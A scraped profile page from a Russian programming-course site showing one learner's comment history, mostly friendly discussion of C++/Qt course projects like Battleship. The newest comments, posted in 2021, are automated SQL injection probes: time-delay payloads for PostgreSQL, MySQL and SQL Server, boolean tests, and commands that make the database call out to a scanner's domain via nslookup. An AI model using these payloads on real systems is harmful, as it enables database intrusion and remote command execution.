C# обучение с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович

Статистика по сообщениям

  • Отправлено: 430
  • На публикациях:   6
  • По видеоурокам: 364
  • Личных сообщений: 60
  • Получено ответов: 531


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:30

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-4776.11120.55e59.\1.bxss.me


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:30

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-4771.11120.55e59.\1.bxss.me'


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:30

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-4770.11120.55e59.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-4769.11120.55e59.1.bxss'||'.me')


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

iLTWLWCm'));select pg_sleep(39.468); --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

EW2S32pp');select pg_sleep(59.202000000000005); --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

594BS2rs';select pg_sleep(39.468); --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

-1));select pg_sleep(39.468); --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

-1);select pg_sleep(39.468); --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

-1;select pg_sleep(39.468); --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

snd0Sacm'; waitfor delay '0:0:19.734' --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

1 waitfor delay '0:0:19.734' --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

-1); waitfor delay '0:0:19.734' --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:29

-1; waitfor delay '0:0:59.202000000000005' --




31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

(select(0)from(select(sleep(19.734)))v)/*'+(select(0)from(select(sleep(19.734)))v)+'"+(select(0)from(select(sleep(19.734)))v)+"*/



31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

if(now()=sysdate(),sleep(19.734),0)/*'XOR(if(now()=sysdate(),sleep(19.734),0))OR'"XOR(if(now()=sysdate(),sleep(19.734),0))OR"*/


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

-1" OR 2+331-331-1=0+0+0+1 --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

-1' OR 2+982-982-1=0+0+0+1 or 'SlShhhl0'='


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

-1' OR 2+180-180-1=0+0+0+1 --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

-1 OR 2+88-88-1=0+0+0+1


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

-1 OR 2+959-959-1=0+0+0+1 --


31528. --
1
1
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2021-07-30 11:28

@@dDSio



11019. KF
Trira
Trira
ответить
→  Ильшат  # Комбинаторика / Рекурсия. Фракталы. Спираль / 2021-06-04 01:31

Ильшат, картинки прикреплены не в том формате. Надо бы переформатировать, чтобы можно было их здесь увидеть


8322. --
ironsavior
ironsavior
ответить
→  Ильшат  # Микроигры / Виселка. Поле чудес / 2016-10-04 00:45

В кьюте насколько мне известно можно использовать CSS. Подход как в яве: lbl. getStyleClass( ) . addAll( "game-label", "game-title") ;


11017. --
Владимир Петреченко
Владимир Петреченко
ответить
→  Ильшат  # Демо софт / VIP. Калейдоскоп / 2016-09-27 08:43

Классно получилось


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Демо софт / VIP. Калейдоскоп / 2016-09-27 01:00

Молодец!


10670. --
Сергей Соколов
Сергей Соколов
ответить
→  Ильшат  # Демо софт / VIP. Калейдоскоп / 2016-09-27 00:12

И правда красиво!


7276. --
Ильшат
Ильшат
ответить
→  Елена  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-26 18:24

Спасибо, Елена.


7276. --
Ильшат
Ильшат
ответить
→  Алексей В.  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-26 18:23

Спасибо, Алексей.


7276. --
Ильшат
Ильшат
ответить
→  Константин  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-26 18:23

Спасибо, Константин.


4004. --
Елена
Елена
ответить
→  Ильшат  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-26 05:18

Отличный отзыв, Ильшат!


10494. --
Алексей В.
Алексей В.
ответить
→  Ильшат  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-26 00:49

Молодец. Финал!!!! Так держать!!!


7238. --
Константин
Константин
ответить
→  Ильшат  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-25 23:23

Поздравляю финальный урок этот как камень с плечь особенно если курс был тяжелый в освоении.


7276. --
Ильшат
Ильшат
ответить
→  Евгений Волосатов  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-25 18:46

Спасибо, Евгений Витольдович.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Ильшат  # Демо софт / ФИНАЛЬНЫЙ УРОК / 2016-09-25 14:20

Спасибо, отличные ответы.
Опубликовал у себя в соц-сети.


7276. --
Ильшат
Ильшат
ответить
# Начало / Мои успехи / 2016-09-25 13:33

1. Недавно исполнился год как зарегистрировался и активно занимаюсь.
2. Сокобан, Морской флот, программки из курса Микроигры.
3. Что-нибудь клиент-серверное (раньше хотел 3D-игру) с клиентом на c++ и серверной частью (как вариант на php).
4. За год обучения неплохо прокачался, было много разнообразной практики.
5. Сначала пройти курсы Демо игры, Демо-софт, опробовать раздел консоль. Дальше на свое усмотрение. Больше практики, как говорит Евгений Витольдович - "Меньше думай, больше делай" или "Делай, Делай, Думай, Делай", а не "Думай, Думай, Не делай, Думай". Всем успехов!)


7276. --
Ильшат
Ильшат
ответить
→  Rita  # Демо софт / Средняя оценка / 2016-09-25 13:23

Спасибо, Рита.


7276. --
Ильшат
Ильшат
ответить
→  Максим Лапшинов  # Демо софт / Средняя оценка / 2016-09-25 13:22

Спасибо, Qt удобен, большое количество полезных классов для создания прикладных программ.


7276. --
Ильшат
Ильшат
ответить
→  Алексей Хонин  # Демо софт / Средняя оценка / 2016-09-25 13:21

Спасибо, Алексей.


7276. --
Ильшат
Ильшат
ответить
→  Олюшка  # Демо софт / Менеджер паролей / 2016-09-25 13:21

Спасибо, Оля)


10365. --
Rita
Rita
ответить
→  Ильшат  # Демо софт / Средняя оценка / 2016-09-25 09:28

Очень хорошо!


5649. --
Максим Лапшинов
Максим Лапшинов
ответить
→  Ильшат  # Демо софт / Средняя оценка / 2016-09-25 08:08

Ого отличная практика что  сделали на Qt
Как успехи с Qt?


10673. --
Алексей Хонин
Алексей Хонин
ответить
→  Ильшат  # Демо софт / Средняя оценка / 2016-09-24 23:12

Отлично справился!


24. --
Олюшка
Олюшка
ответить
→  Ильшат  # Демо софт / Менеджер паролей / 2016-09-24 19:56

Ильшат, круто!!! Как всегда восхищаюсь твоей работой!!! :)


7276. --
Ильшат
Ильшат
ответить
→  Николай Миролюбов  # Демо софт / Менеджер паролей / 2016-09-24 17:12

Да, с апреля выполняю видеоуроки на c++, прошел так Микроигры, Морской флот и Морской бой.


6203. --
Николай Миролюбов
Николай Миролюбов
ответить
→  Ильшат  # Демо софт / Менеджер паролей / 2016-09-24 16:49

на c++ что ли писал?


7276. --
Ильшат
Ильшат
ответить
→  Евгений Волосатов  # Запуск пакета / Секундомер - Настройка формы / 2016-09-22 21:51

Да, использую. Формат уроков интересный, если где-то ошибся, то можно быстро найти место ошибки, на видео это занимает больше времени.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Ильшат  # Запуск пакета / Секундомер - Настройка формы / 2016-09-22 20:50

Ты для работы qt используешь?


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Ильшат  # Запуск пакета / 38 клавиш Игромистра / 2016-09-22 17:15

Благодарю, Ильшат!


7276. --
Ильшат
Ильшат
ответить
→  Морозов Юрий Александрович  # Запуск пакета / 38 клавиш Игромистра / 2016-09-22 17:05

С интересом посмотрел видео, поздравляю Вас с прошедшим днем рождения)


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Демо софт / Английские карточки / 2016-09-22 12:43

в любом случае, даже для воспроизведения mp3/mp4 уже полезно


7276. --
Ильшат
Ильшат
ответить
→  Новопашин Владимир  # Демо софт / Английские карточки / 2016-09-22 11:57

Спасибо, Владимир.


7276. --
Ильшат
Ильшат
ответить
→  Кирилл Шмойлов  # Демо софт / Английские карточки / 2016-09-22 11:57

Спасибо, Кирилл.


7276. --
Ильшат
Ильшат
ответить
→  Иван Воронин  # Демо софт / Английские карточки / 2016-09-22 11:57

Поправка: в уроке для воспроизведения медиа-файлов используется компонент Windows Media Player, поэтому формат файлов не ограничивается только mp3/mp4, а зависит от установленных в системе кодеков.


7276. --
Ильшат
Ильшат
ответить
→  Олюшка  # Демо софт / Английские карточки / 2016-09-22 11:53

Спасибо, Оля, важна постоянная практика)


7119. --
Новопашин Владимир
Новопашин Владимир
ответить
→  Ильшат  # Демо софт / Английские карточки / 2016-09-22 07:27

Молодец!


6452. --
Кирилл Шмойлов
Кирилл Шмойлов
ответить
→  Ильшат  # Демо софт / Английские карточки / 2016-09-22 05:30

Молодец, Ильшат!


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Демо софт / Английские карточки / 2016-09-22 04:35

Отлично, значит в этом уроке даны знания по mp3/mp4 воспроизведению, добавил курс в очередь


24. --
Олюшка
Олюшка
ответить
→  Ильшат  # Демо софт / Английские карточки / 2016-09-22 00:08

Ильшат, классно что навыки твои совершенствуются! :)


459. --
Сергей Сергеевич
Сергей Сергеевич
ответить
→  Ильшат  # Интернет-магазин / Форма Товара / 2016-09-21 21:59

Спасибо Ильшат)


7276. --
Ильшат
Ильшат
ответить
→  Сергей Сергеевич  # Интернет-магазин / Форма Товара / 2016-09-21 21:57

Красиво и с душой сделано, молодец)


7276. --
Ильшат
Ильшат
ответить
→  ironsavior  # Морской Бой / Интерфейс игры / 2016-09-21 15:54

Нет, свой класс не писал, я использовал шаблон std::uniform_int_distribution из стандартной библиотеки. Внешний вид грида, я так полагаю, зависит от настроек стиля и от графической оболочки операционной системы, пока что не заморачивался с красотой)


8322. --
ironsavior
ironsavior
ответить
→  Ильшат  # Морской Бой / Интерфейс игры / 2016-09-20 13:48

Ильшат, а вы в функции placeRandom стандартную сишную функцию rand()% использовали или же свой класс для случайной расстановки писали? Вот кстати что тут грид некрасиво смотрится, что в вс...


7276. --
Ильшат
Ильшат
ответить
→  ironsavior  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-19 22:35

Спасибо, здесь все по урокам:) Qt да, удобен, высокоуровневые классы облегчают и ускоряют разработку. Здесь я не использовал никаких игровых движков, Евгений Витольдович неоднократно показывал, что можно делать игрушки на обычном прикладном интерфейсе, это интересно. В качестве структуры хранения данных использовал матрицы из библиотеки boost ublas. Можно было std::array, но я решил пусть размеры игрового поля будут динамичными. А про то, что интересуетесь контейнерами и аллокаторами, то тут стоит задать себе вопрос чем хотите заниматься, для чего использовать язык. Если для быстрой разработки GUI, то следует сделать упор на Qt. Если тянет на исследование низкоуровневых фич, то может быть вообще GUI и не нужно изучать, а делать то, что нравится. Удачи:)


8322. --
ironsavior
ironsavior
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-19 16:08

А вы грид как представляли через array или vector<vector<Grid::...> > ?


8322. --
ironsavior
ironsavior
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-19 16:07

Очень круто написал!!! Вот для себя решил, что использовать кьют гораздо удобнее чем вс+глут...правда пока до разработки игр и другого по не дошел на плюсах. Пока с консолью работаю: делаю велосипедные контейнеры,простенькие аллокаторы и тд.


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 14:37

Конечно, мало кто не знает эту игру, но шлифовка требуется в любом случае =)


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Морской Бой / Последний Бой! / 2016-09-07 14:36

естественно, а ещё ИИ пишет человек и тоже может ошибиться в его логике, создав либо глупого либо мегамозга =)


4992. --
Николай
Николай
ответить
→  Ильшат   / 2016-09-07 14:10

Спасибо, Ильшат! Постараюсь!


7276. --
Ильшат
Ильшат
ответить
→  Алексей В.  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 12:58

Спасибо, Алексей, рекомендую данный курс, приятно поиграть со своей собственной программы)


7276. --
Ильшат
Ильшат
ответить
→  Иван Воронин  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 12:57

Спасибо, здесь скорее заготовка для игрушки, отчетность о проделанной работе, так как пользователь, который впервые видит данную программу не сразу поймет назначение этих всех квадратиков :)


7276. --
Ильшат
Ильшат
ответить
→  Евгений Волосатов  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 12:56

Спасибо, Евгений Витольдович, я решил в обзорах не рассказывать про код и ход разработки, а сместить акцент в сторону демонстрации возможностей программы, ее функционала. Попутно использую видео обзор как фиксацию всей проделанной работы по курсу, например, показываю работу редактора карты, использование ИИ и других необходимых требований к программе.


7276. --
Ильшат
Ильшат
ответить
→  Новопашин Владимир  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 12:50

Спасибо, Владимир, здесь отчет по Морскому бою, локальная игра с компьютером, а ранее сдавал отчет по клиент-серверному Морскому флоту, вот он как раз затянутый, так как в нем мы рассмотрели многие технологии.


7276. --
Ильшат
Ильшат
ответить
→  Елена  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 12:48

Спасибо, Елена, понравился Ваш алгоритм :)


7276. --
Ильшат
Ильшат
ответить
→  Иван Воронин  # Морской Бой / Последний Бой! / 2016-09-07 12:47

Здесь особенность в том, что компьютер играет по четким правилам и выбирает наиболее оптимальное решение, а человек может ошибиться с выбором из-за невнимательности, торопливости. Компьютер такое не прощает)


7276. --
Ильшат
Ильшат
ответить
→  Сергей Лузум  # Морской Бой / Последний Бой! / 2016-09-07 12:45

Спасибо, Сергей, у меня были схожие ощущения, когда несколько раз проиграл своей программе "Крестики-нолики" из курса Микроигры. Там ощущения были более яркие, так как процесс игры очень быстрый и частенько проигрывал из-за невнимательности)


7276. --
Ильшат
Ильшат
ответить
→  Николай   / 2016-09-07 12:43

Спасибо, Николай, в отчетах пишу что сделал, что требуется по заданию. И Вам тоже успехов, побольше практики)


10494. --
Алексей В.
Алексей В.
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 10:58

Молодец!!! Так держать!!!


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 09:38

Отличный обзор, игрушка. Молодец =)


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Ильшат  # Морской Бой / Последний Бой! / 2016-09-07 09:04

да, проиграть своей программе не сложно. ведь она знает как ты думаешь =)


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 09:02

Очень подробный Всеобъемлющий обзор. Ильшат, ты не только стал прекрасным программистом, но и стал значительно лучше записывать обзоры своих программ!


7119. --
Новопашин Владимир
Новопашин Владимир
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 06:50

Поздравляю с окончанием курса.


4004. --
Елена
Елена
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-07 06:09

Поздравляю с Финалом :)


7980. --
Сергей Лузум
Сергей Лузум
ответить
→  Ильшат  # Морской Бой / Последний Бой! / 2016-09-07 01:56

Поздравляю!!! Вспомнил свои ощущения, когда первый раз проиграл собственной программе!)))


4992. --
Николай
Николай
ответить
→  Ильшат   / 2016-09-06 19:46

Мне всегда интересно читать Ваши отчеты. Они нестандартны и часто оригинальны. Желаю дальнейших успехов!!!


7276. --
Ильшат
Ильшат
ответить
→  Николай  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-06 19:34

Спасибо, Николай.


7276. --
Ильшат
Ильшат
ответить
→  Максим Лапшинов  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-06 19:34

Спасибо, Максим.


4992. --
Николай
Николай
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-06 17:36

Поздравляю!!!


5649. --
Максим Лапшинов
Максим Лапшинов
ответить
→  Ильшат  # Морской Бой / ФИНАЛЬНЫЙ УРОК / 2016-09-06 16:32

Поздравляю с успешным окончанием курса


7119. --
Новопашин Владимир
Новопашин Владимир
ответить
→  Ильшат   / 2016-09-06 14:48

Ааа - я думал - ты все морской флот проходишь


7276. --
Ильшат
Ильшат
ответить
→  Новопашин Владимир   / 2016-09-06 14:47

На проекте два курса - Морской флот и Морской бой. Морской флот это клиент-серверное приложение, Морской бой это локальная игра с компьютером и реализацией ИИ. Я ранее проходил Морской флот, сейчас заканчиваю Морской бой, это разные проекты с разными целями)


7119. --
Новопашин Владимир
Новопашин Владимир
ответить
→  Ильшат   / 2016-09-06 14:32

Просто курс большой.


7276. --
Ильшат
Ильшат
ответить
→  Новопашин Владимир  # Морской Бой / Олимпиада - Создание ИИ - Добивание корабля / 2016-09-06 13:56

Владимир, не совсем понял, что имеете ввиду под долго тянется?)


7119. --
Новопашин Владимир
Новопашин Владимир
ответить
→  Ильшат  # Морской Бой / Олимпиада - Создание ИИ - Добивание корабля / 2016-09-06 06:54

Я что-то смотрю Морской бой прям долго тянется....


7276. --
Ильшат
Ильшат
ответить
→  Валерий Жданов  # Морской Бой / Олимпиада - Создание ИИ - Шаблон ударов / 2016-09-05 23:36

Нравится то, что мы сначала подготовливаем желаемые данные, которые можем варьировать в зависимости от стратегии поиска)

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Закрепил навыки создания анимаций перемещения, выбора, переворота плашек.
Трудности: Не запутаться в переменных базового класса анимаций.
Здорово, переместили логику анимаций в отдельные классы.


Научился: Рефакторить, выделять метод из нескольких строк кода.
Трудности: Сложностей не было.
Было непонятно, почему в функциях Open(), Hide() присваивались "странные" значения для булевой переменной open. Подумал, что тут вероятно какая-нибудь хитрая магия Евгения Витольдовича и поэтому не трогал код. Оказалось что не зря ломал голову, первоначальные значения на видео были неверные, и в результате, в Open() надо указать open = true, а в Hide() open = false.